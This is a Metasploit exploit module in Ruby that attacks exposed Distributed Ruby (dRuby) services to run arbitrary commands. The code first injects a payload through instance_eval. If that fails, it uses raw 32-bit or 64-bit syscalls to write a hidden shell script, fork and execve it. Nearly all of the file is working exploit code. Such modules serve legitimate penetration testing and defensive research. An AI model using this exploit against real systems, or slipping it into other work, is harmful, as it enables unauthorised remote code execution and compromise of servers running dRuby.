102 lines
3.0 KiB
Ruby
102 lines
3.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'drb/drb'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
|
|
'Description' => %q{
|
|
This module exploits remote code execution vulnerabilities in dRuby
|
|
},
|
|
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
},
|
|
'Space' => 32768,
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
'DisclosureDate' => 'Mar 23 2011',
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
serveruri = datastore['URI']
|
|
DRb.start_service
|
|
p = DRbObject.new_with_uri(serveruri)
|
|
class << p
|
|
undef :send
|
|
end
|
|
begin
|
|
print_status('trying to exploit instance_eval')
|
|
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
|
|
|
|
rescue SecurityError => e
|
|
print_status('instance eval failed, trying to exploit syscall')
|
|
filename = "." + Rex::Text.rand_text_alphanumeric(16)
|
|
begin
|
|
|
|
# syscall to decide wether it's 64 or 32 bit:
|
|
# it's getpid on 32bit which will succeed, and writev on 64bit
|
|
# which will fail due to missing args
|
|
j = p.send(:syscall,20)
|
|
# syscall open
|
|
i = p.send(:syscall,8,filename,0700)
|
|
# syscall write
|
|
p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
|
|
# syscall close
|
|
p.send(:syscall,6,i)
|
|
# syscall fork
|
|
p.send(:syscall,2)
|
|
# syscall execve
|
|
p.send(:syscall,11,filename,0,0)
|
|
|
|
# not vulnerable
|
|
rescue SecurityError => e
|
|
|
|
print_status('target is not vulnerable')
|
|
|
|
# likely 64bit system
|
|
rescue => e
|
|
# syscall creat
|
|
i = p.send(:syscall,85,filename,0700)
|
|
# syscall write
|
|
p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
|
|
# syscall close
|
|
p.send(:syscall,3,i)
|
|
# syscall fork
|
|
p.send(:syscall,57)
|
|
# syscall execve
|
|
p.send(:syscall,59,filename,0,0)
|
|
end
|
|
end
|
|
print_status("payload executed from file #{filename}") unless filename.nil?
|
|
print_status("make sure to remove that file") unless filename.nil?
|
|
handler(nil)
|
|
end
|
|
end
|